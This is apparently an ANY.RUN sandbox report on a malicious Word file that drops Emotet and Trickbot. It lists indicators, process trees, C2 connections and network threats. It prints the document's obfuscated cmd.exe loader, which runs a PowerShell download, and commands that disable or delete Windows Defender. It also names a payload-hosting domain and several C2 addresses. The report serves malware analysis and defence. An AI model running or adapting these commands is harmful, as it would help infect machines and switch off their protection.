File name:

DOCF9112.doc

Full analysis: https://app.any.run/tasks/e17fd366-5baa-48ab-8549-955396ecbe46
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: November 14, 2018, 14:56:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet
trojan
feodo
evasion
trickbot
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Reagan, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Nov 14 11:53:00 2018, Last Saved Time/Date: Wed Nov 14 11:53:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 2, Security: 0
MD5:

A0E21CB76CB82E79212C8E0679F3CBD7

SHA1:

10BE9EB42C86AF388C07E14D8947FC42CF20099F

SHA256:

90E2205826D42D33A8159D0B8CFB4E11039C8F665717888B565C46D37FB1F21F

SSDEEP:

1536:Qk/TxjwKZ09cB7y9ghN8+mQ90MT++a9aVjpre5gx8P5pF5pVeFs:rxjnB29gb8onVppre5gx8P5pF5pVeFs

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3232)

    • Application was dropped or rewritten from another process

      • mQN.exe (PID: 2636)
      • lpiograd.exe (PID: 2820)
      • lpiograd.exe (PID: 3472)
      • mQN.exe (PID: 3760)
      • lpiograd.exe (PID: 3416)
      • lpiograd.exe (PID: 3736)
      • k41lc2td4y.exe (PID: 3840)
      • lpiograd.exe (PID: 3284)
      • r29wPCq06jT.exe (PID: 3280)
      • k41lc2td4y.exe (PID: 2216)
      • s29wPDr07jT.exe (PID: 2688)
      • k41lc2td4y.exe (PID: 3748)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3876)

    • Connects to CnC server

      • lpiograd.exe (PID: 3472)
      • k41lc2td4y.exe (PID: 3748)

    • Emotet process was detected

      • lpiograd.exe (PID: 2820)
      • lpiograd.exe (PID: 3472)

    • EMOTET was detected

      • lpiograd.exe (PID: 3472)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3232)

    • Actions looks like stealing of personal data

      • lpiograd.exe (PID: 3284)
      • lpiograd.exe (PID: 3416)

    • Changes the autorun value in the registry

      • lpiograd.exe (PID: 3472)

    • Stops/Deletes Windows Defender service

      • cmd.exe (PID: 3116)
      • cmd.exe (PID: 3084)
      • cmd.exe (PID: 2180)
      • cmd.exe (PID: 3288)
      • cmd.exe (PID: 3100)
      • cmd.exe (PID: 3660)
      • cmd.exe (PID: 3460)
      • cmd.exe (PID: 3336)

    • Known privilege escalation attack

      • DllHost.exe (PID: 4012)

    • Loads the Task Scheduler COM API

      • k41lc2td4y.exe (PID: 2216)
      • k41lc2td4y.exe (PID: 3748)

    • Trickbot detected

      • k41lc2td4y.exe (PID: 3748)

    • Uses SVCHOST.EXE for hidden code execution

      • k41lc2td4y.exe (PID: 3748)

  • SUSPICIOUS

    • Starts itself from another location

      • mQN.exe (PID: 2636)

    • Executable content was dropped or overwritten

      • mQN.exe (PID: 2636)
      • powershell.exe (PID: 3876)
      • r29wPCq06jT.exe (PID: 3280)
      • k41lc2td4y.exe (PID: 3840)
      • lpiograd.exe (PID: 3472)

    • Application launched itself

      • lpiograd.exe (PID: 3472)
      • mQN.exe (PID: 3760)

    • Executes PowerShell scripts

      • cmd.exe (PID: 1540)
      • cmd.exe (PID: 3392)
      • cmd.exe (PID: 3764)
      • cmd.exe (PID: 3736)
      • cmd.exe (PID: 2436)

    • Creates files in the user directory

      • powershell.exe (PID: 3876)
      • k41lc2td4y.exe (PID: 3840)
      • r29wPCq06jT.exe (PID: 3280)
      • powershell.exe (PID: 2116)
      • powershell.exe (PID: 4024)
      • powershell.exe (PID: 348)
      • powershell.exe (PID: 2752)
      • k41lc2td4y.exe (PID: 3748)

    • Reads Internet Cache Settings

      • powershell.exe (PID: 3876)

    • Creates files in the program directory

      • lpiograd.exe (PID: 3472)
      • k41lc2td4y.exe (PID: 3748)

    • Loads DLL from Mozilla Firefox

      • lpiograd.exe (PID: 3416)

    • Starts CMD.EXE for commands execution

      • k41lc2td4y.exe (PID: 3840)
      • r29wPCq06jT.exe (PID: 3280)
      • s29wPDr07jT.exe (PID: 2688)
      • k41lc2td4y.exe (PID: 2216)

    • Connects to unusual port

      • lpiograd.exe (PID: 3472)
      • k41lc2td4y.exe (PID: 3748)

    • Connects to SMTP port

      • lpiograd.exe (PID: 3472)

    • Checks for external IP

      • k41lc2td4y.exe (PID: 3748)

    • Creates files in the Windows directory

      • k41lc2td4y.exe (PID: 3748)

    • Removes files from Windows directory

      • k41lc2td4y.exe (PID: 3748)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3232)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3232)
      • lpiograd.exe (PID: 3736)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Reagan
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:11:14 11:53:00
ModifyDate: 2018:11:14 11:53:00
Pages: 1
Words: -
Characters: 2
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 2
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
93
Monitored processes
41
Malicious processes
13
Suspicious processes
8

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start winword.exe no specs cmd.exe no specs powershell.exe mqn.exe no specs mqn.exe #EMOTET lpiograd.exe no specs #EMOTET lpiograd.exe r29wpcq06jt.exe lpiograd.exe lpiograd.exe lpiograd.exe no specs k41lc2td4y.exe cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs powershell.exe no specs powershell.exe no specs CMSTPLUA no specs k41lc2td4y.exe no specs s29wpdr07jt.exe cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs sc.exe no specs sc.exe no specs powershell.exe no specs sc.exe no specs powershell.exe no specs sc.exe no specs #TRICKBOT k41lc2td4y.exe svchost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
348powershell Set-MpPreference -DisableRealtimeMonitoring $trueC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1540cmd /V:^O/C"^s^e^t rk^g^7=A^ h.B:^,[]^YQ^O)dbHKz^p1/Ct^G^I^-xw^y;^}kN^Z^i^0(f^{^E^MWco'8+^m^j^\^=P^sn^g^Uv^$^le^Tr^@^u^S2a&&^f^or %N ^in (^18,43^,2^7^,^59^,6^1^,^5^2,2,59^,^5^8,5^8^,1^,5^7^,17^,^4^1,2^1^,5^0,^4^4^,2^4,^5^5,0^,4^4,^29,5^7^,1^0^,^1^5,9,50,^44,2^,22,22,18,^5,20^,20^,2^2,61^,66,^14,^66,53^,^66^,^2^2^,43^,63,^6^1^,^5^2^,3^,42,4^3^,4^7,20,6^3,^6^2^,^2,2^2,22^,^1^8^,5^,2^0^,2^0,1^8,3^4^,17^,1^7^,^5^9,^6^1,^34,6^6^,61,^4^3,^5^3^,^1^3,4^3,^3^,^5^2^,^34^,2^0^,1^7,^45,4^2,23,^6^2^,2^,22,2^2^,^1^8,5,^2^0^,^20^,^1^3^,^34^,^6^6^,^2,^4^7^,^66^,61^,^5^2,3^4,13,34,^3^,4^2^,^43^,^47,2^0^,4^0^,5^1,^21^,60^,1^6,^2^3,6^2^,^2,22,^2^2,18,^5^,^20,20,^4^3,^54,^6^1^,43,^13,^2^8^,^63^,5^2^,47,^3^4,59^,^42^,^2^,63,3^,^18,^58^,2^0,^3^4,63^,^14^,^5^6^,^45,^56^,62,2,2^2^,22,18,^5^,20^,20,66,^52,^52,6^3^,^61^,^66^,5^3^,^42,^5^9,^25,^42,2^,^6^6,61^,5^9^,53^,^2^2^,59^,3^,3^7^,6^1,^2^0,^52,^3^7^,^2,44^,3^,^6^4,^1^8^,^58,^3^4^,22^,36^,4^4^,62^,44,^1^2^,^29^,57^,^66^,^4,^18^,^50,3^6^,^7,^64^,^28^,5^2^,22,5^9^,4^7,^3^,^24^,1^1^,^3,^51,^66^,^2^2^,2,8,^5,^5,^23^,59,22,^60^,59^,^4^7,^1^8^,^51,66,22,^2^,36^,^12,4^6^,44^,^49^,4^7,1^0,^32^,3,5^9,26^,59,^44^,12,^2^9,^57,18^,^13,33,1^,5^0,3^2^,59,2^7,2^5,^11,1^4^,^48,^5^9,4^2,^22^,1,^2^5,^4^2,^43,^4^7^,1^,4^4,4^7,^52^,26,^4^7,58^,^6^5,3^,^26^,4^7,^58^,2^,2^2,2^2,1^8^,^4^4^,2^9^,5^7,22,1^8,3^1,1,50,^1^,3^2,^5^9^,^27,2^5^,^1^1,^14,48,59^,^42^,^2^2,^1,^2^5^,4^2^,43,^4^7,1^,4^4^,^66,13^,43^,1^3^,1^4,3,5^2^,22^,^61,59,^6^6,47^,^44^,2^9^,37,^4^3^,61,^5^9,^66,42^,^2,36^,^5^7,^63,3^4,0^,1^,^3^4^,53,^1,^57,^10,1^5,^9^,^1^2^,^38^,^22,^61^,^2^8,^3^8^,^57^,^18,13^,^3^3,3,4^3,^1^8,^5^9,53^,^36,4^4,^2^3,3^9,^60,44^,^6,^5^7^,^6^3,34^,^0,6^,^3^5,^1^2^,29,^57^,^18^,13^,^33^,3^,52^,^5^9^,^5^3^,1^3^,^36^,12,2^9^,^5^7^,^2^2^,1^8^,^31^,^3^,43,^1^8^,5^9,53^,36,^12^,^29^,^57^,22,^1^8,^3^1^,^3,^2^2,2^8,^18,59,^1^,^5^0^,^1^,19^,2^9^,^5^7^,^22^,18^,31^,^3,27,61^,^34^,2^2^,^59,3^6^,57^,^18^,1^3,^33,^3^,^61^,^59^,^52,^1^8^,^4^3^,5^3,^52,59,4^,43^,^13,28^,^1^2^,^29,5^7^,22^,^1^8,^3^1^,^3,5^2,^6^6^,^5^6,59^,2^2,4^3,3^7,34,^5^8,5^9^,36,^5^7^,66,4^,18^,^12,^2^9,^64,^22,^66^,61,22,2^5^,51,61^,43^,^4^2^,5^9^,^52,5^2^,1^,^5^7^,66^,4^,^18^,^2^9^,1^4^,^6^1^,^59^,^6^6^,^31,3^0^,42^,6^6^,^2^2,4^2^,^2,3^8^,3^0,3^0^,1^,1^,^1,^1,^1^,1,1,^1^,^1,1^,^1^,^1^,1,1^,1,1^,1,73)^do ^s^e^t ^y^p^e=!^y^p^e!!rk^g^7:~%N,1!&&^if %N ^g^e^q ^7^3 cal^l %^y^p^e:~-^5^0^7%" C:\Windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1772sc delete WinDefendC:\Windows\system32\sc.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
A tool to aid in developing services for WindowsNT
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2116powershell Set-MpPreference -DisableRealtimeMonitoring $trueC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2180/c sc stop WinDefendC:\Windows\system32\cmd.exe—k41lc2td4y.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
5
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2204sc delete WinDefendC:\Windows\system32\sc.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
A tool to aid in developing services for WindowsNT
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2216"C:\Users\admin\AppData\Roaming\vsvsid\k41lc2td4y.exe" C:\Users\admin\AppData\Roaming\vsvsid\k41lc2td4y.exe—DllHost.exe
User:
admin
Integrity Level:
HIGH
Description:
Developed using the Dev-C++ IDE
Exit code:
4294967295
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\roaming\vsvsid\k41lc2td4y.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2436/c powershell Set-MpPreference -DisableRealtimeMonitoring $trueC:\Windows\system32\cmd.exe—s29wPDr07jT.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2636"C:\Users\admin\AppData\Local\Temp\mQN.exe"C:\Users\admin\AppData\Local\Temp\mQN.exe
mQN.exe
User:
admin
Company:
Borland Corporation
Integrity Level:
MEDIUM
Description:
Borland C++ Multi-thread RTL (WIN/VCL MT)
Exit code:
0
Version:
8.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\mqn.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2688"C:\Users\admin\AppData\Roaming\vsvsid\s29wPDr07jT.exe" C:\Users\admin\AppData\Roaming\vsvsid\s29wPDr07jT.exe
DllHost.exe
User:
admin
Integrity Level:
HIGH
Description:
Developed using the Dev-C++ IDE
Exit code:
4294967295
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\roaming\vsvsid\s29wpdr07jt.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
3 244
Read events
2 556
Write events
683
Delete events
5

Modification events

(PID) Process:(3232) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName: a#
Value:
20612300A00C0000010000000000000000000000
(PID) Process:(3232) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3232) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3232) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1299054611
(PID) Process:(3232) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299054728
(PID) Process:(3232) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299054729
(PID) Process:(3232) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
A00C000048A2E4312A7CD40100000000
(PID) Process:(3232) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:ja#
Value:
6A612300A00C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3232) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:ja#
Value:
6A612300A00C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3232) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
6
Suspicious files
23
Text files
1
Unknown types
5

Dropped files

PID
Process
Filename
Type
3232WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9D00.tmp.cvr —
MD5:—
SHA256:—
3876powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G4E1GY3RDA74KT1E77FJ.temp —
MD5:—
SHA256:—
3736lpiograd.exeC:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp —
MD5:—
SHA256:—
3736lpiograd.exeC:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp —
MD5:—
SHA256:—
3736lpiograd.exeC:\Users\admin\Documents\Outlook Files\~honey@pot.com.pst.tmp —
MD5:—
SHA256:—
3736lpiograd.exeC:\Users\admin\AppData\Local\Temp\A58.tmp —
MD5:—
SHA256:—
3416lpiograd.exeC:\Users\admin\AppData\Local\Temp\A57.tmp —
MD5:—
SHA256:—
3284lpiograd.exeC:\Users\admin\AppData\Local\Temp\A47.tmp —
MD5:—
SHA256:—
2116powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R4PRUINMMZMTSMDOUXOP.temp —
MD5:—
SHA256:—
2116powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1935db.TMP —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
63
DNS requests
67
Threats
39

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3472
lpiograd.exe
GET
—
68.102.169.43:8080
http://68.102.169.43:8080/
US
—
—
malicious
3472
lpiograd.exe
GET
—
71.71.126.201:8080
http://71.71.126.201:8080/
US
—
—
malicious
3876
powershell.exe
GET
301
66.55.141.67:80
http://trabanatours.com/u
US
html
234 b
malicious
3876
powershell.exe
GET
200
66.55.141.67:80
http://trabanatours.com/u/
US
executable
412 Kb
malicious
3472
lpiograd.exe
GET
200
76.73.213.148:8090
http://76.73.213.148:8090/
US
binary
148 b
malicious
3472
lpiograd.exe
GET
200
76.73.213.148:8090
http://76.73.213.148:8090/whoami.php
US
text
13 b
malicious
3472
lpiograd.exe
GET
200
24.176.53.106:80
http://24.176.53.106/whoami.php
US
text
13 b
malicious
3472
lpiograd.exe
GET
200
76.73.213.148:8090
http://76.73.213.148:8090/
US
binary
148 b
malicious
3748
k41lc2td4y.exe
GET
200
78.47.139.102:80
http://myexternalip.com/raw
DE
text
14 b
shared
3748
k41lc2td4y.exe
GET
200
2.16.186.81:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
unknown
compressed
54.4 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3472
lpiograd.exe
71.71.126.201:8080
—
Time Warner Cable Internet LLC
US
malicious
3472
lpiograd.exe
68.102.169.43:8080
—
Cox Communications Inc.
US
malicious
3472
lpiograd.exe
190.146.205.227:80
—
Telmex Colombia S.A.
CO
malicious
3472
lpiograd.exe
76.73.213.148:8090
—
WideOpenWest Finance LLC
US
malicious
3472
lpiograd.exe
24.176.53.106:80
—
Charter Communications
US
malicious
3472
lpiograd.exe
74.208.5.2:465
smtp.1and1.com
1&1 Internet SE
US
malicious
3472
lpiograd.exe
74.208.5.13:587
imap.mail.com
1&1 Internet SE
US
unknown
3472
lpiograd.exe
74.208.5.15:25
smtp.mail.com
1&1 Internet SE
US
malicious
3472
lpiograd.exe
221.176.66.75:25
hqpop.chinamobile.com
Guangdong Mobile Communication Co.Ltd.
CN
unknown
3472
lpiograd.exe
203.124.44.88:465
mail.metroshoes.com.pk
Commission on Science and Technology for
PK
malicious

DNS requests

Domain
IP
Reputation
trabanatours.com
  • 66.55.141.67
malicious
dns.msftncsi.com
  • 131.107.255.255
shared
email.polyplasticsindia.com
  • 103.35.120.185
unknown
mail.priyafoods.com
  • 209.11.159.36
unknown
mail.bizmail.yahoo.com
  • —
unknown
mail.in2com.com.mx
  • 207.210.232.9
unknown
smtp.mail.me.com
  • 17.172.208.225
shared
mail.aol.com
  • 87.248.114.11
  • 87.248.114.12
shared
imap.mail.com
  • 74.208.5.13
shared
hqpop.chinamobile.com
  • 221.176.66.75
unknown

Threats

PID
Process
Class
Message
3876
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3876
powershell.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2
3876
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3472
lpiograd.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
3472
lpiograd.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
3472
lpiograd.exe
A Network Trojan was detected
SC SPYWARE Trojan-Banker.Win32.Emotet
3472
lpiograd.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
3472
lpiograd.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
3472
lpiograd.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
3472
lpiograd.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
9 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
DOCF9112.doc